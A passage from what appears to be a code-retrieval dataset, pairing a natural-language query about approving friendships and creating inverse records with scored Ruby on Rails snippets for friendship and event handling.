"docid": "60e6a75b77d160ddcb21437dccf67e1f", "score": "0.719282", "text": "def index\n @wednesday = Event.on_wednesday\n @thursday = Event.on_thursday\n @friday = Event.on_friday\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "50fda9b8c4c7883bb7aef1c21d64535d", "score": "0.7189976", "text": "def show\n @event = Event.find(params[:event_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "02393996eecfce5b3249bd02163dde7b", "score": "0.71888554", "text": "def index\n @events = Event.all\n @title = \"Elenco eventi\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" }, { "docid": "07f255cd279847dc683dab57f7c628dc", "score": "0.7186438", "text": "def index\n @events = Event.chronological.paginate(:page => params[:page]).per_page(10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "title": "" } ]
2edc251211d16f0f96280063f7cc530c
Approve the friendship and create a record in the opposite direction so friendship is easy to query
[ { "docid": "5e25d94efde4ae43da8b98a7b38091f9", "score": "0.67162067", "text": "def approve!\n # If this is a suggested relationship simply set to pending so the other person sees it\n if self.suggested?\n self.status = Relationship::PENDING\n self.pending_at = Time.now\n if self.save\n self.notify_users unless self.silent == true\n true\n else\n false\n end\n else\n begin\n Relationship.transaction do\n self.update_attributes(:status => APPROVED, :approved_at => Time.now) unless self.approved?\n inv = self.inverse_relationship\n if !inv.blank?\n inv.update_attributes(:status => APPROVED, :approved_at => Time.now) unless inv.approved?\n else\n inv = self.new_inverse_relationship\n inv.save\n # If this was an introduction, notify the other team\n if self.introduced == true\n Notification.create_for_relationship_approved(inv)\n else\n Notification.create_for_relationship_approved(self)\n end\n end\n # Clear out notifications for this relationship\n self.notifications.each{|n| n.mark_as_read }\n # Reset relationship cache for both startups involved\n self.reset_cache_for_entities_involved\n end\n rescue ActiveRecord::RecordNotUnique\n # Relationship exists - check to see if it's in the right state\n # It could've been a previously suggested relationship that the entity wants to approve now (changed mind)\n r = Relationship.where(:entity_id => self.entity_id, :entity_type => self.entity_type, :connected_with_id => self.connected_with_id, :connected_with_type => self.connected_with_type).first\n r.approve! if !r.blank? && r.pending?\n end\n true\n end\n end", "title": "" } ]
[ { "docid": "cb1cd9ffa1ef14c164b01bc6210a96e7", "score": "0.8269632", "text": "def approve!\n friendship = Friendship.new(user_id: sender_id, friend_id: recipient_id)\n if friendship.save && friendship.reverse_friendship.save\n self.destroy\n end\n end", "title": "" }, { "docid": "1450bf8298ba724d230335c25a4a9c86", "score": "0.79020965", "text": "def approve_friendship(user)\n return false unless requested_friend_ids.include?(user.id) && user.pending_friend_ids.include?(self.id)\n requested_friend_ids.delete(user.id)\n user.pending_friend_ids.delete(self.id)\n inverse_friend_ids << user.id\n user.direct_friend_ids << self.id\n self.save && user.save\n end", "title": "" }, { "docid": "d41f7d95885c6693d6af66fb2f3c2368", "score": "0.77568597", "text": "def n_approve_pending_friendship_request\n @fki = Kopal::Identity.new params[:ki]\n @friend = @profile_user.account.pending_friends.find_by_friend_kopal_identity(@fki)\n #TODO: Validations according to specs.\n @friend.friendship_state = 'friend'\n @friend.save!\n session[:kopal][:kc_authorisation_code] = random_hexadecimal\n redirect_to @friend.friend_kopal_identity.friendship_update_url(\n :'kopal.identity' => @profile_user.kopal_identity,\n :'kopal.state' => 'friend',\n :'kopal.friendship-key' => @friend.friendship_key,\n :'kopal.return_to' => @kopal_route.connect(\n :action => 'n_accept_updated_friendship_request',\n :kc_authorisation_code => session[:kopal][:kc_authorisation_code],\n :fki => @friend.friend_kopal_identity.to_s\n )\n )\n end", "title": "" }, { "docid": "f9506e559ed7d4aa1f3e37d592681c87", "score": "0.76913464", "text": "def accept (friendship)\n if friendship.friend_id == id && friendship.confirmed == false\n friendship.confirmed = true\n friendship.save\n end\n end", "title": "" }, { "docid": "8e1b4697cc9712f4eb00a19eaf11e71c", "score": "0.7668929", "text": "def accept\n @friendship = current_user.inverse_friendships.find(params[:id])\n @friendship.status = true\n @friendship.save\n redirect_to current_user\nend", "title": "" }, { "docid": "c32b8fc09dced4776c0d540e98d806c7", "score": "0.76667666", "text": "def invite(friend, approve = nil)\n return false if friend == self\n\n friendship = find_any_friendship_with(friend)\n \n if friendship.present?\n friendship.approved = true\n else\n friendship = friendships.build({ :friend_id => friend.id })\n end\n\n if approve == true\n friendship.approved = true\n end\n\n return friendship.save! ? friendship : false\n end", "title": "" }, { "docid": "51d1d8daedcd512eb7f7d8ddc89e5670", "score": "0.7541863", "text": "def accept_friend\n @friendship = Friendship.find_by(sent_by_id: params[:user_id], sent_to_id: current_user.id, status: false)\n if [email protected]?\n @friendship.status = true\n if @friendship.save\n flash[:success] = 'Friend request accepted!'\n @friendship2 = current_user.friend_sent.build(sent_to_id: params[:user_id], status: true)\n @friendship2.save\n end\n else\n flash[:warning] = 'Friend request does not exist'\n end\n redirect_to friendship_path\n end", "title": "" }, { "docid": "c48ac2f4121e2bb5f7e73e497cecadbf", "score": "0.7509639", "text": "def friend_request_accept\n \n @friendship.pending = false\n @friendship.save\n redirect_to root_path \nend", "title": "" }, { "docid": "7062ef6b047c607714d45ffac5a7d757", "score": "0.750397", "text": "def accept_friend\n @friendship = Friendship.find_by(sent_by_id: params[:user_id],\n sent_to_id: current_user.id, status:false)\n return unless @friendship # devolver si no se encuentra ningún registro\n\n @friendship.status = true # record is update\n if @friendship.save # record is update and save\n flash[:success] = \"Friend Request Accepted!\"\n\n # Una vez que el registro original se actualiza y guarda, se crea un registro duplicado.\n # Este registro duplicado tendrá el valor inverso para sent_by_id y sent_to_id.\n # Esto hace que sea más fácil realizar tareas de amistad y verificaciones de\n # bases de datos para determinar listas de amigos.\n @friendship2 = current_user.friend_sent.build(sent_to_id: params[:user_id], status: true)\n @friendship2.save\n else\n flash[:danger] = \"Friend Request could not be accepted!\"\n end\n redirect_back(fallback_location: root_path)\n end", "title": "" }, { "docid": "a4792625477452b514653d2d9fb768f5", "score": "0.74949294", "text": "def confirm_friend(user)\n reverse_friendships.find { |friendship| user == friendship.user }.update(status: true)\n # friendships.create(friend: user, status: true)\n end", "title": "" }, { "docid": "8d019b09a181f46001ddcc6bc929880e", "score": "0.7476667", "text": "def accept\n user.friendships.create(:friend => requesting_user) and requesting_user.friendships.create(:friend => user) and destroy\n end", "title": "" }, { "docid": "ed80a4aee259e8a85217b87af3fe4412", "score": "0.74671435", "text": "def confirm_friend(user)\n friendship = inverse_friendships.find{|friendship| friendship.user == user}\n friendship.confirmed = true\n friendship.save\n end", "title": "" }, { "docid": "45d391bfcfb03ab22907e3c71534b3dc", "score": "0.7458213", "text": "def approve(user)\n friendship = find_any_friendship_with(user)\n return false if friendship.nil? || invited_from?(user)\n friendship.update_attribute(:pending, false)\n end", "title": "" }, { "docid": "85572fccb40a58f1f4458ebe485a9dc0", "score": "0.7403897", "text": "def confirm_friend(user)\n friendship = inverse_friendships.find{ |friendship|\n friendship.user == user\n }\n friendship.confirmed = true\n friendship.save\n end", "title": "" }, { "docid": "2b85b4d92e2169e833198592a7b18a15", "score": "0.7385046", "text": "def approve\n if Friendship.approve_friendship current_user.id, params[:id]\n flash[:notice] = 'Friendship approved.'\n else\n flash[:error] = 'There was an error while approving friendship.'\n end\n redirect_to :action => 'index'\n end", "title": "" }, { "docid": "3046b4d2901eeaf358bdd9183b84e3fb", "score": "0.7374894", "text": "def confirm\n transaction do\n update(confirmed: true)\n Friendship.create(confirmed: true, friend: user, user: friend)\n end\n end", "title": "" }, { "docid": "815193b8465ae7545574e55eef5a1de9", "score": "0.7366673", "text": "def approve(other_user)\n passive_friendships.find_by(\"invited_by_id = ?\", other_user.id).update_attribute(:status, true)\n end", "title": "" }, { "docid": "fa8b7e863b40aceaee0a1cb5b4d8a49b", "score": "0.73617303", "text": "def approve(user)\n friendship = find_any_friendship_with(user)\n return false if friendship.nil? || invited?(user)\n if friendship.update_attribute(:pending, false)\n self.class.increment_counter(:friend_count, self.id)\n user.class.increment_counter(:friend_count, user.id)\n user.class.decrement_counter(:friend_invite_count, user.id)\n\n #update mutual friend count\n friendship.update_attribute(:mutual_friends_count, self.common_friends_with(user).count)\n end\n return friendship\n end", "title": "" }, { "docid": "0efa4d8ed1cc894a1c8bc6c500a89a5f", "score": "0.73338234", "text": "def accept_friend(friendship)\n friendship.update_attributes(accepted: true)\n end", "title": "" }, { "docid": "62b7ae558c02efdb507d55d0a755de44", "score": "0.7309952", "text": "def update\n friendship = current_user.friendships.build(friend_id: params[:friend_id], pending: false)\n friendship.save\n inverse_friendship = current_user.inverse_friendships.find_by_user_id(params[:friend_id])\n inverse_friendship.pending = false\n inverse_friendship.save\n redirect_to :back\n end", "title": "" }, { "docid": "89d64b0d879a40a184c9b2d9389b23b6", "score": "0.72935534", "text": "def approve(user, shares_passages = false, shares_trainings = false, shares_calendars = false)\n friendship = find_any_friendship_with(user)\n return false if friendship.nil? || invited?(user)\n # To confirm an attribute to true it must be previously set to true during\n # the invite request: (to avoid lax-setting of sharing attributes during the approval process)\n friendship.shares_passages = friendship.shares_passages && shares_passages\n friendship.shares_trainings = friendship.shares_trainings && shares_trainings\n friendship.shares_calendars = friendship.shares_calendars && shares_calendars\n friendship.pending = false\n friendship.save\n end", "title": "" }, { "docid": "0fca2f80384fab846ee7f8d66be6c670", "score": "0.7286714", "text": "def confirm_friend\n second_row\n update(status: true)\n Friendship.find(id.reverse).update(status: true)\n end", "title": "" }, { "docid": "4e0c23347d52691f64d82fed4ec45c58", "score": "0.72843087", "text": "def friend_approve(params={})\n self.class.post(\"http://api.foursquare.com/v1/friend/approve.json\", :body=>params)\n end", "title": "" }, { "docid": "bdbd74ae644681feb8bb3b9898ebc33d", "score": "0.7277289", "text": "def request_friendship_with(friend)\n f = Friendship.create!(:inviter => self, \n :invitee => friend) unless self.is_friends_or_pending_with?(friend) || self == friend\n end", "title": "" }, { "docid": "dcf156931adb3ad35b883923948599b3", "score": "0.7276433", "text": "def createInverse \n inverseFriendship= Friendship.find_by(user_id:self.friend_id, friend_id:self.user_id)\n if inverseFriendship.nil?\n newFriendship=Friendship.new(user_id:self.friend_id, friend_id:self.user_id,status:\"finalized\")\n newFriendship.save! \n else\n inverseFriendship.update\n end\n end", "title": "" }, { "docid": "5c26925464930479a90b6d9097d233e7", "score": "0.72742784", "text": "def create\n # send friend request\n @friendship = current_user.friendships.build(friend_id: friendship_params[:id], accepted: false)\n\n if @friendship.save\n redirect_to request.referrer, notice: 'Friend request sent.'\n else\n redirect_to request.referrer, alert: 'Unable to send friend request.'\n end\n end", "title": "" }, { "docid": "3feaf50acb82393b627bf3f9ce02aa66", "score": "0.7269255", "text": "def update\n if friendship_request = FriendshipRequest.find_by_id(params[:id])\n inverse_friendship_request = friendship_request.find_inverse\n\n friendship_request.create_friendship\n flash[:success] = \"Friend Added\"\n\n friendship_request.delete\n inverse_friendship_request.delete\n redirect_to user_path(current_user)\n else\n flash[:alert] = \"I can't find that!\"\n redirect_to user_path(current_user)\n end\n end", "title": "" }, { "docid": "9695243b838eca787be7108405fc9758", "score": "0.7261926", "text": "def create\n #check friendship exist?\n friend_id = friendship_params[:friend_id]\n friendship = Friendship.find_by(user_id:friend_id, friend_id:current_user)\n my_friendship = Friendship.find_by(user_id:current_user, friend_id:friend_id)\n if friendship.blank? and my_friendship.blank?\n new_friendship = Friendship.new(user_id: current_user.id, friend_id: friendship_params[:friend_id])\n new_friendship.save\n elsif friendship.present? and friendship.state == \"pending\"\n friendship.state = \"approved\"\n friendship.save\n end\n end", "title": "" }, { "docid": "33424194262fa5f182e03e3804f13c9a", "score": "0.72448975", "text": "def create\n @friendship = current_user.friendships.create(:friend_id => @friend_id)\n @friendship.status = false\n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to users_path\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to users_path\n end\nend", "title": "" }, { "docid": "43d457e0e42c83a76de2035e10156bc7", "score": "0.7239806", "text": "def create\n @friendship = current_user.friendships.build()\n @friendship.friend_id = params[:friend_id]\n @friendship.confirmed = 0\n if @friendship.save\n redirect_to (:back)\n else\n redirect_to (:back)\n end\nend", "title": "" }, { "docid": "a7bcc6e01046b271d312b1e4310af0f2", "score": "0.7212624", "text": "def update\n @friendship = Friendship.where(friend_id: current_user, user_id: params[:id]).first\n @friendship.update(approved: true)\n if @friendship.save\n redirect_to :back\n else\n redirect_to :back\n end\n end", "title": "" }, { "docid": "877a676c5e2cec10399f3aabb05bc44d", "score": "0.71945107", "text": "def create\n @friend = User.find(params[:friend_id])\n @friendship = current_user.friendships.build( user_id: current_user.id, friend_id: params[:friend_id], friend_name: @friend.username, user_name: current_user.username, approved: \"false\")\n if @friendship.save\n flash[:notice] = \"Friend request sent.\"\n redirect_to :back\n else\n flash[:danger] = \"Unable to request friendship.\"\n redirect_to :back\n end\n end", "title": "" }, { "docid": "d8aff46b3037cebd9a0c13963591ebdb", "score": "0.71898603", "text": "def accept_friendship( friendship_obj )\n friendship_obj.update_attribute(:accepted_at, Time.now.utc)\n Friendship.create!( :befriendshipped => friendship_obj.friendshipped,\n :friendshipped => self, \n :accepted_at => Time.now.utc)\n end", "title": "" }, { "docid": "9ad10e11b39e1abbd8c39e4115b3ad9a", "score": "0.7185443", "text": "def accept!\n update_attributes(accepted: true)\n self.class.create!(user_id: friend_id, friend_id: user_id, accepted: true)\n end", "title": "" }, { "docid": "29c4f6f297477c7fdedecc9ca96bb322", "score": "0.7181061", "text": "def connect(other_user_id)\n\n # see of other user has already requested\n @pending = pending_friendships\n @friendship = @pending.find_by_user_id(other_user_id)\n\n # Approve, when there is a request pending\n if @friendship\n @friendship.approved = true \n @friendship.save\n end\n\n\n # see you user has already requested a friendship\n unless @friendship\n @requested = requested_friendships\n @friendship = @requested.find_by_friend_id(other_user_id)\n end\n\n # see if they are friends\n unless @friendship\n @friendship = friend?(other_user_id)\n end\n\n\n # finally create new \n unless @friendship\n @friendship = unapproved_friendships.create!(friend_id: other_user_id, approved: false)\n end\n\n @friendship\n\n end", "title": "" }, { "docid": "a2ef00d0410753256ac137b0420b1699", "score": "0.7177296", "text": "def accept\n @friend_request = FriendRequest.find(params[:id])\n\n @fs1= current_friend.friendships.create(:otherfriend => params[:otherfriend])\n @fs2= (Friend.find(params[:otherfriend])).friendships.create(:otherfriend => current_friend.id)\n \n @friend_request.destroy\n\n\n respond_to do |format|\n if (@fs1.save && @fs2.save)\n format.html { redirect_to edit_friend_registration_url, notice: 'Friendship was successfully created.' }\n format.json { render json: edit_friend_registration_url, status: :created, location: edit_friend_url }\n else\n format.html { render action: \"new\" }\n format.json { render json: edit_friend_registration_url.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c2094a1ed66395b84e20255604e9596", "score": "0.7169262", "text": "def accept_friendship\n \t# \"self\" is used for the current friendship\n \tself.update_attributes(state: \"active\", friended_at: Time.now)\n end", "title": "" }, { "docid": "a513b9d49bf363e5a22b167a93679a67", "score": "0.7110083", "text": "def create\n current_user.friendships.friend_request!(\n @user\n ) unless current_user.friend_with?(@user)\n end", "title": "" }, { "docid": "acfe7ceac803ee91ed246d77d2471220", "score": "0.71084166", "text": "def request_friendship(user) \n return false if friendshiped_with?(user) or user == self or blocked?(user)\n pending_friend_ids << user.id\n user.requested_friend_ids << self.id\n self.save && user.save\n end", "title": "" }, { "docid": "f3c9bb30cec2f406d9586766c4ed4d91", "score": "0.7092474", "text": "def create_inverse_friendship\n unless is_inverse\n inverse_friendship = friendee.friendships.build(:friendee => friender, :friender => friendee, :status => accepted? ? STATUS[:accepted] : STATUS[:pending])\n inverse_friendship.is_inverse = true\n inverse_friendship.save\n end\n end", "title": "" }, { "docid": "a45ef7cbed6dec1427d243226d1eff25", "score": "0.7070448", "text": "def update\n friend_request = FriendRequest.find(params[:friend_request_id])\n friend = User.find(friend_request.requester_id)\n \n flash_message = \"#{params[:status].capitalize} friend request from @#{friend.username}\"\n if params[:status] == \"accepted\"\n #Create the friendship and delete the request\n current_user.inverse_friendships.create(user_id: friend.id)\n flash[:success] = flash_message\n elsif params[:status] == \"declined\" || params[:status] == \"cancelled\"\n flash[:danger] = flash_message\n end\n \n friend_request.destroy\n redirect_to user_friends_path(current_user)\n end", "title": "" }, { "docid": "8fd469acd6bcb720ce38c6976e0c7979", "score": "0.70666367", "text": "def accept\n # TODO: only allow user with incoming friendship to accept\n # puts \"user: \" + user.name\n # puts \"self.user: \" + self.user.name\n # puts \"friend: \" + friend.name\n # Not working:\n # user.friends << friend\n fr = Friendship.new(user_id: user_id, friend_id: friend_id)\n if(fr.save)\n destroy\n else\n puts fr.errors.full_messages.to_s\n end\n end", "title": "" }, { "docid": "50a9e46cad8be1f09560f5934ce91615", "score": "0.7056121", "text": "def accept\n Friendship.accept(user_id, friend_id)\n end", "title": "" }, { "docid": "338a858679114acdd06f8a9d8e43658f", "score": "0.70466024", "text": "def accept\n @user_friendship = current_user.user_friendships.find(params[:id])\n if @user_friendship.accept!\n current_user.create_activity @user_friendship, 'accepted'\n flash[:success] = \"You are now friends with #{@user_friendship.friend.first_name}\"\n else\n flash[:error] = \"That friendship could not be accepted.\"\n end\n redirect_to user_friendships_path\n end", "title": "" }, { "docid": "fca88b5283fea2b10a854f575219249f", "score": "0.7029508", "text": "def friend!(other_user)\n\t\tfriendship = Friendship.where(first_friend_id: other_user.id, second_friend_id: id).first\n\t\tfriendship.accepted = 1\n\t\tfriendship.save\n\tend", "title": "" }, { "docid": "c4cdab50fb43e1dc79c179615af3c41b", "score": "0.70294654", "text": "def create\n @friendship_a = current_user.friendships.build(:friend_id => params[:friend_id])\n \n @other_user = User.find(params[:friend_id])\n @friendship_b = @other_user.friendships.build(:friend_id => current_user.id)\n\n @pending_friend_request = PendingFriendRequest.find(:first, :conditions => [\"user_id = ? AND requester_id = ?\", current_user.id, params[:friend_id]])\n \n \n if (@friendship_a.save && @friendship_b.save && @pending_friend_request.destroy)\n flash[:notice] = \"Friend Added!\"\n redirect_to profile_page_path\n else\n flash[:error] = \"Problems adding friend\"\n redirect_to profile_page_path\n end\n end", "title": "" }, { "docid": "d924d4a0269c0a3b4954e401ae34b3fa", "score": "0.70135415", "text": "def update\n @friendship = Friendship.find(params[:id])\n @friendship.update(approved: true)\n if @friendship.save\n flash[:notice] = \"Successfully confirmed friend!\"\n redirect_to root_url\n else\n flash[:danger] = \"Sorry! Could not confirm friend!\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "8f0a154c0acfe9f2353321b2f5185319", "score": "0.7001529", "text": "def create\n @friendship = current_user.friendships.build(friend_id: friendship_params[:friend_id], approved: \"false\")\n\n\n if @friendship.save\n render :show\n end\n end", "title": "" }, { "docid": "655d325ab8f5bd5b5600b184636d2081", "score": "0.6985876", "text": "def create\n Friendship.request(@user, @friend)\n end", "title": "" }, { "docid": "51b0476ade00feef3584a4b25f57e870", "score": "0.6955415", "text": "def accept_mutual_friendship!\n\t\tmutual_friendship.update_attribute(:state, 'accepted')\n\tend", "title": "" }, { "docid": "df9e83d0e84d9f4efc3fd58214e71a20", "score": "0.69473374", "text": "def friend_request_accept\n \tto_id = current_user.id\n \tfrom_id = params[:id]\n \tfriendship = Friendship.where( to_id: to_id, from_id: from_id ).first\n \tfriendship.update_attributes(accepted: true)\n \tredirect_to request.referer || root_url\n end", "title": "" }, { "docid": "9e19c7ae9493e1868309de3064571b20", "score": "0.69134754", "text": "def create_friendship_with_team\n friendship = Friendship.new(:user => User.find_by_login('enteam'), :friend => self)\n friendship.accept!\n end", "title": "" }, { "docid": "04f1eb715f441a645794b58ab7ee800b", "score": "0.69034505", "text": "def friendship\n @friendship = Friendship.create!(user_id: @current_user.id, friend_id: @user.id)\n redirect_to user_path(@current_user)\n end", "title": "" }, { "docid": "abb43c76d24b79644b119fc5aa176076", "score": "0.68971604", "text": "def create\n @sender = User.find(params[:user])\n @reciever = User.find(params[:friend])\n\n reverse_pair = check_reverse_pair(@reciever, @sender)\n if reverse_pair.empty?\n @friend_request = @sender.friendships.build(user: @sender, friend: @reciever, confirmed: 'Unconfirmed')\n\n if @friend_request.save\n redirect_to users_path, notice: 'Friend request sent successfully'\n else\n redirect_to users_path, notice: 'A pending friend request exist'\n end\n else\n redirect_to users_path, notice: 'Friendship Exists'\n end\n end", "title": "" }, { "docid": "c2aa0c92cd7fb9a26453922031aaf5c8", "score": "0.68796957", "text": "def request(user, friend)\n unless user == friend || Friendship.exists?(user, friend)\n # Transaction used here which ensures all block statements execute or none\n transaction do\n create(:user => user, :friend => friend, :status => 'requested')\n create(:user => friend, :friend => user, :status => 'pending')\n end\n end\n end", "title": "" }, { "docid": "c68854ae80ffc94a78862424d08d3814", "score": "0.6862924", "text": "def update\n @friendship = Friendship.find(params[:id])\n @friendship.update_attributes(accepted: true)\n flash[:success] = \"Successfully confirmed friend!\" \n redirect_to root_url\n end", "title": "" }, { "docid": "cb2bfe3015e9b7ccee8e8eb52bc1fec1", "score": "0.68618715", "text": "def update\n @friendship = Friendship.find(params[:id])\n @user = @friendship.initiator\n current_user.confirm_friend(@user)\n flash[:success] = \"Accepted friend request\"\n redirect_to @user\n end", "title": "" }, { "docid": "5af852e435dbf767ee4db30c693c8d52", "score": "0.6850161", "text": "def update\n\t\t@friendship = current_user.accepting_friendships.find_by(requester_id: params[:requester_id])\n\t\t@friend = User.find(params[:requester_id])\n\t\t\n\t\[email protected]_attribute(:accepted, true)\n\t\tflash[:success] = \"Added #{@friend.first_name} #{@friend.last_name}!\"\n\t\tredirect_to user_posts_path(@friend)\n\tend", "title": "" }, { "docid": "e2f6a6c4d074c8fc21b1e379796afcdd", "score": "0.68283963", "text": "def become_friends_with(friend)\n unless self.is_friends_with?(friend)\n unless self.is_pending_friends_with?(friend)\n Friendship.create!(:inviter => self, :invitee => friend, :accepted_at => Time.now)\n else\n self.friendship(friend).update_attribute(:accepted_at, Time.now)\n end\n else\n self.friendship(friend)\n end\n end", "title": "" }, { "docid": "708b717d1ecd19d25d959d2b5d822175", "score": "0.68223226", "text": "def add_friend\n @user = User.find(params[:user_id])\n @friends_to_be = Friendship.create(user_request_sender_id: current_user.id, user_request_receiver_id: @user.id, accept: nil)\n @friends_to_be.save\n\n redirect_to @user\n end", "title": "" }, { "docid": "dece91e09afb5cb9ea1354f2d81a5346", "score": "0.6813274", "text": "def accept_friend(friend)\n\t\trelation = incoming_requests.where(['friend_id = ? and user_id = ?', id, friend.id]).first\n\t\trelation.update!(active: true)\n\tend", "title": "" }, { "docid": "f8f76f52a59967479d41a67633b6d273", "score": "0.68051493", "text": "def create\n @user = User.find(current_user)\n @friend = User.find(params[:friend_id])\n if Friendship.request(@user, @friend)\n redirect_to user_path(@friend)\n else\n redirect_to user_path(current_user)\n end\n end", "title": "" }, { "docid": "d620cb254e8d9f95863ff68d6b616b12", "score": "0.67987555", "text": "def create\n @user.request_friendship_with(@friend)\n\n flash[:notice] = \"Friendship was Successfully created.\"\n redirect_to :controller => \"profile\", :action => @user.login\n end", "title": "" }, { "docid": "014de790e17010c5d673cb7ef648f5e4", "score": "0.6798648", "text": "def make_friends!\n friendship = create_friendship(user: user, friend: invitee)\n if friendship.save\n true\n else\n errors.add(:base, \"Can't create friendship: #{friendship.errors.full_messages.join(', ')}\")\n false\n end\n end", "title": "" }, { "docid": "9413d5d1b8c7dd2e5f73a9fbf664fd35", "score": "0.6788707", "text": "def update\n p params[:id]\n @friendship = Friendship.where(friend_id: current_user, user_id: params[:id]).first || Friendship.where(friend_id: params[:id], user_id: current_user).first\n @friendship.update(accepted: true)\n if @friendship.save\n redirect_to :back, :notice => \"Successfully confirmed friend!\"\n FriendNote.create(sender_id: @friendship.user_id, receiver_id: @friendship.friend_id)\n else\n redirect_to :back, :notice => \"Sorry! Could not confirm friend!\"\n end\n end", "title": "" }, { "docid": "dd6ae54957c4b0823f77475552b19338", "score": "0.67875165", "text": "def create_friend\n user = current_user\n friend = User.find params[:user_id]\n\n relation = Relationship.find_or_create_for_users user, friend\n\n role = relation.find_or_create_role :friends\n role.set_status user, RelationshipRole::STATUS_ACCEPTED\n role.save\n\n redirect_to user_url friend\n end", "title": "" }, { "docid": "60d14ec36d71f1696b0e2723488d69aa", "score": "0.6770582", "text": "def create\n #@friendship = current_user.friendships.build(:friend_id => params[:friend_id])\n\n @user = User.find(current_user)\n @friend = User.find(params[:friend_id])\n params[:friendship1] = {:user_id => @user.id, :friend_id => @friend.id, :status => 'requested'}\n params[:friendship2] = {:user_id => @friend.id, :friend_id => @user.id, :status => 'pending'}\n @friendship1 = Friendship.create(params[:friendship1])\n @friendship2 = Friendship.create(params[:friendship2])\n\n if @friendship1.save && @friendship2.save\n flash[:notice] = \"Added friend.\"\n redirect_to friendships_path\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to friendships_path\n end\n\n #if @friendship.save\n # flash[:notice] = \"Added friend.\"\n # redirect_to root_url\n #else\n # flash[:error] = \"Unable to add friend.\"\n # redirect_to root_url\n #end\n\n # @friendship = Friendship.new(params[:friendship])\n #\n # respond_to do |format|\n # if @friendship.save\n # format.html { redirect_to @friendship, notice: 'Friendship was successfully created.' }\n # format.json { render json: @friendship, status: :created, location: @friendship }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @friendship.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "39d97efcb3d70ba1a5f2833dba75e326", "score": "0.6766745", "text": "def create\n Friendship.request(@user, @friend)\n flash[:notice] = \"Friend request sent.\"\n redirect_to profile_for(@friend)\n end", "title": "" }, { "docid": "573f2c5ff2ec569d87677268668cb887", "score": "0.675935", "text": "def create\n \tFriendship.request(@user, @friend)\n \t\n \tflash[:notice] = \"Friend request sent.\"\n \tredirect_to user_path(@user)\n end", "title": "" }, { "docid": "725e3b0379ce52ac37a10cd54c3a5f6c", "score": "0.67578906", "text": "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "title": "" }, { "docid": "960e5224e2d9ad4993ee44af59fe4cc1", "score": "0.67459464", "text": "def approve!\n transaction do\n overlapping_pending_requests.each do |request|\n request.deny!\n end\n self.status = \"APPROVED\"\n save!\n end\n end", "title": "" }, { "docid": "41f28fb4c99877cd0c24c13ebc377af5", "score": "0.6744001", "text": "def accept_friend\n friend = get_friend\n if current_user.pending_friends.include?(friend)\n current_user.accept_request(friend)\n redirect_to friendships_path, notice: t('friendships.notices.accepted')\n else\n redirect_to friendships_path, alert: t('friendships.alerts.no_friend_request')\n end\n end", "title": "" }, { "docid": "7787d4df97ed2fcf7855f7f4728e93b3", "score": "0.67429364", "text": "def friendship_params\r\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\r\n end", "title": "" }, { "docid": "d2b8e1f0fa1e548fc2b8766b22791386", "score": "0.67407084", "text": "def create\n @friendship = current_user.request_friendship(@user)\n respond_to do |format|\n format.html {redirect_to users_path, notice: \"Your friend request has been sent\"}\n end\n end", "title": "" }, { "docid": "04faf9b2ffaaab44939b08f5463c80ba", "score": "0.67224336", "text": "def create\n\t\tfriendship = Friendship.request(@user, @friend)\n\t\tredirect_to browse_people_user_path, :notice => \"Friendship request sent\"\n\tend", "title": "" }, { "docid": "1acfe67aa64ef6d1137f90a1ebea0fb2", "score": "0.6717744", "text": "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "title": "" }, { "docid": "1acfe67aa64ef6d1137f90a1ebea0fb2", "score": "0.6717744", "text": "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "title": "" }, { "docid": "1acfe67aa64ef6d1137f90a1ebea0fb2", "score": "0.6717744", "text": "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "title": "" }, { "docid": "1acfe67aa64ef6d1137f90a1ebea0fb2", "score": "0.6717744", "text": "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "title": "" }, { "docid": "60b6ee67616cc4c662ccfb28e75ce8df", "score": "0.6707705", "text": "def accept_one_side(user, friend)\n request = find_by_user_id_and_friend_id(user, friend)\n request.status = 'accepted'\n request.save!\n end", "title": "" }, { "docid": "a014b736a15ae430adc66a919d913868", "score": "0.66892993", "text": "def request(user, friend)\r\n if user == friend or Friendship.exists?(user, friend)\r\n nil\r\n else\r\n transaction do\r\n Friendship.create(:user_id => user.id, :friend_id => friend.id, :status => 'requested')\r\n Friendship.create(:user_id => friend.id, :friend_id => user.id, :status => 'pending')\r\n end\r\n true\r\n end\r\n end", "title": "" }, { "docid": "b43c21a5f317b5bbe17bfb472a3aea52", "score": "0.66711247", "text": "def approve!\n approve\n save!\n end", "title": "" }, { "docid": "16206a22c8c9ce8e39cea60befc0a08f", "score": "0.6664266", "text": "def create\n\t\t@friendship = current_user.requesting_friendships.build(accepter_id: params[:accepter_id])\n\t\tif @friendship.save\n\t\t\tflash[:success] = \"Friend request sent!\"\n\t\telse\n\t\t\tflash[:error] = \"Error! Friend request could not be sent!\"\n\t\tend\n\n\t\tredirect_to :back\n\tend", "title": "" }, { "docid": "9ce072171cd5d20fd5734f3423f67866", "score": "0.6662682", "text": "def invited_user\n\t\t\t@friendship = current_user.friendships.find_by(id: params[:id])\n\t\t\tredirect_to root_path unless @friendship && @friendship.status == \"pending\"\n\t\tend", "title": "" }, { "docid": "f0a47b926dbb77582d80d4f8c381fa3b", "score": "0.66271406", "text": "def accept_friendship_of(friend)\n unless (!self.pending_friends.include?(friend))\n self.friendships.by_friend(friend).pending.first.accept #I'm the friend of my friend.\n friend.friendships.by_friend(self).requested.first.accept #My friend is a friend of mine.\n else\n raise NoPendingFriendship, \"There is no pending friendship for \" + user.email + \" 